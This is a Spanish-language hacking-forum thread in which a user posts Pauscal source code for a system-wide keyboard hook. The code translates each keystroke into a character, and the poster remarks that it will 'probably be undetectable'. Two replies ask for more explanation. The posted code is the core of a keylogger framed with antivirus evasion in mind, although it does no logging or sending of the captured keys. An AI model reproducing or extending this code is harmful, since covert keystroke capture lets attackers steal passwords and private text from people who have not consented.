comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Pauscal] Hookear teclado

  • 2 Respuestas
  • 2048 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Yuki

  • *
  • Underc0der
  • Mensajes: 67
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil
« en: Febrero 28, 2015, 12:24:17 pm »
Bueno, les dejo este código que permite obtener las pulsaciones del teclado, para mas información, Google!
Espero que le saquen provecho, supongo que estará indetectable, saludos!

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
' Estructuras

Estruc POINTAPI _
,x:Entero _
,y:Entero

Estruc MSG _
,hwnd:Entero _
,message:Entero _
,wParam:Entero _
,lParam:Entero _
,time:Entero _
,pt:POINTAPI

Estruc KBDLLHOOKSTRUCT,_ ' Estructura que recibe los datos.
VkCode,_ ' Código del boton presionado.
ScanCode,_ ' ?
Flags,_ ' Esto establece en 0 si la tecla es presionada, 1 si es soltada.
Time,_ ' Tiempo en el que se presiona y suelta la tecla, en ms.
DwExtraInfo:Entero ' ?

' Apis requeridas.
Proc GetMessage(Referencia:MSG,,,:Entero):Entero,"user32" "GetMessageA"
Proc TranslateMessage(Referencia:MSG):Entero,"user32"
Proc DispatchMessage(Referencia:MSG):Entero,"user32" "DispatchMessageA"
Proc CallNextHookEx(hHook,nCode,wParam:Entero,Referencia lParam:Entero):Entero,"User32.dll"
Proc SetWindowsHookEx(idHook,lpfn,hmod,dwThreadId:Entero):Entero,"User32.dll" "SetWindowsHookExA"
Proc UnhookWindowsHookEx(hHook:Entero):Entero,"User32.dll"
Proc GetModuleHandle(Referencia:Cadena):Entero,"kernel32" "GetModuleHandleA"

Var HookPtr:Entero

' Este procedimiento escanea el valor devuelto por el procedimiento "KeyboardHook" y lo _
' convierte en el caracter correspondiente.
Proc TeclasTraducir(i:Entero):Cadena
Seleccionar i
Caso 13  ; Devolver "[ENTER]"
Caso 81  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Q":"q"
Caso 87  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"W":"w"
Caso 69  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"E":"e"
Caso 82  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"R":"r"
Caso 84  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"T":"t"
Caso 89  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Y":"y"
Caso 85  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"U":"u"
Caso 73  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"I":"i"
Caso 79  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"O":"o"
Caso 80  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"P":"p"
Caso 65  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"A":"a"
Caso 83  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"S":"s"
Caso 68  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"D":"d"
Caso 70  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"F":"f"
Caso 71  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"G":"g"
Caso 72  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"H":"h"
Caso 74  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"J":"j"
Caso 75  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"K":"k"
Caso 76  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"L":"l"
Caso 192 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Ñ":"ñ"
Caso 90  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Z":"z"
Caso 88  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"X":"x"
Caso 67  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"C":"c"
Caso 86  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"V":"v"
Caso 66  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"B":"b"
Caso 78  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"N":"n"
Caso 77  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"M":"m"
Caso 112 ; Devolver "[F1]"
Caso 113 ; Devolver "[F2]"
Caso 114 ; Devolver "[F3]"
Caso 115 ; Devolver "[F4]"
Caso 116 ; Devolver "[F5]"
Caso 117 ; Devolver "[F6]"
Caso 118 ; Devolver "[F7]"
Caso 119 ; Devolver "[F8]"
Caso 120 ; Devolver "[F9]"
Caso 121 ; Devolver "[F10]"
Caso 122 ; Devolver "[F11]"
Caso 123 ; Devolver "[F12]"
Caso 49  ; Devolver >GetAsyncKeyState(160)?"!":"1"
Caso 50  ; Devolver >GetAsyncKeyState(160)?#34:"2"
Caso 51  ; Devolver >GetAsyncKeyState(160)?"·":"3"
Caso 52  ; Devolver >GetAsyncKeyState(160)?"$":"4"
Caso 53  ; Devolver >GetAsyncKeyState(160)?"%":"5"
Caso 54  ; Devolver >GetAsyncKeyState(160)?"&":"6"
Caso 55  ; Devolver >GetAsyncKeyState(160)?"/":"7"
Caso 56  ; Devolver >GetAsyncKeyState(160)?"(":"8"
Caso 57  ; Devolver >GetAsyncKeyState(160)?")":"9"
Caso 48  ; Devolver >GetAsyncKeyState(160)?"=":"0"
Caso 9   ; Devolver "[TAB]"
Caso 8   ; Devolver "[BORRAR]"
Caso 220 ; Devolver >GetAsyncKeyState(160)?"ª":"º"
Caso 96  ; Devolver "0"
Caso 97  ; Devolver "1"
Caso 98  ; Devolver "2"
Caso 99  ; Devolver "3"
Caso 100 ; Devolver "4"
Caso 101 ; Devolver "5"
Caso 102 ; Devolver "6"
Caso 103 ; Devolver "7"
Caso 104 ; Devolver "8"
Caso 105 ; Devolver "9"
Caso 27  ; Devolver "[ESCAPE]"
Caso 2096852,32 ; Devolver " "
FinSeleccionar
FinProc

Proc KeyboardHook(nCode:Entero,wParam:Word,lParam:Entero):Entero
Si HookEstruc@ = 0 Entonces HookEstruc@ = lParam ' CopyMemory(HookEstruc@,lParam,Long(HookEstruc))
Si nCode = 0 Entonces
Si (HookEstruc.Flags = 0) Entonces ' Si la tecla es precionada (no soltada)
' Acciones!
' EJEMPLO ___________________________
'Seleccionar TeclasTraducir(HookEstruc.VkCode)
' Caso "A"
' Caso "B"
' Caso "[ENTER]"
'FinSeleccionar
FinSi
SiNo
HookPtr = CallNextHookEx(0,HookPtr, wParam, lParam) ' Next
FinSi
FinProc

Var @HookEstruc:KBDLLHOOKSTRUCT
Var Msg:MSG

' Establece el hook en el teclado.
HookPtr = SetWindowsHookEx(13, KeyboardHook@, GetModuleHandle(""), 0)

' Sondeamos los mensajes del sistema.
Mientras GetMessage(Msg,0,0,0) = Verd
TranslateMessage(Msg)
DispatchMessage(Msg)
FinMientras

' Liberamos el hook.
UnhookWindowsHookEx(HookPtr)
« Última modificación: Julio 02, 2015, 11:55:34 pm por facufangio »

Desconectado Alvares97

  • *
  • Underc0der
  • Mensajes: 68
  • Actividad:
    0%
  • Reputación 0
  • Todo es tan Dificil antes de ser sencillo
    • Ver Perfil
    • Playa de bits
    • Email
« Respuesta #1 en: Julio 02, 2015, 10:38:43 pm »
Por el titulo pense que ibas a explicar un poco de teoria
esta permitido caerse pero levantarse es obligatorio

Desconectado facufangio

  • *
  • Underc0der
  • Mensajes: 152
  • Actividad:
    0%
  • Reputación 0
  • < SE SIEMPRE EL MEJOR, PERO NO TE LO CREAS />
    • Ver Perfil
    • Email
« Respuesta #2 en: Julio 03, 2015, 12:03:08 am »
Podrías dar un poco mas de información acerca del funcionamiento ya que no se encuentra muy claro que deseas hacer, además si vas a poner mas información en "Google", no lo hubieras posteado ya que como dices puedo abrir el navegador y buscar quedando este post sin visitas e incompleto.


Gracias y por favor pon más información.

Saludos.

 

 

¿Te gustó el post? COMPARTILO!



[Pauscal] Funciones indocumentada de MSVBVM60

Iniciado por Yuki

Respuestas: 0
Vistas: 1205
Último mensaje Diciembre 01, 2015, 06:19:57 am
por Yuki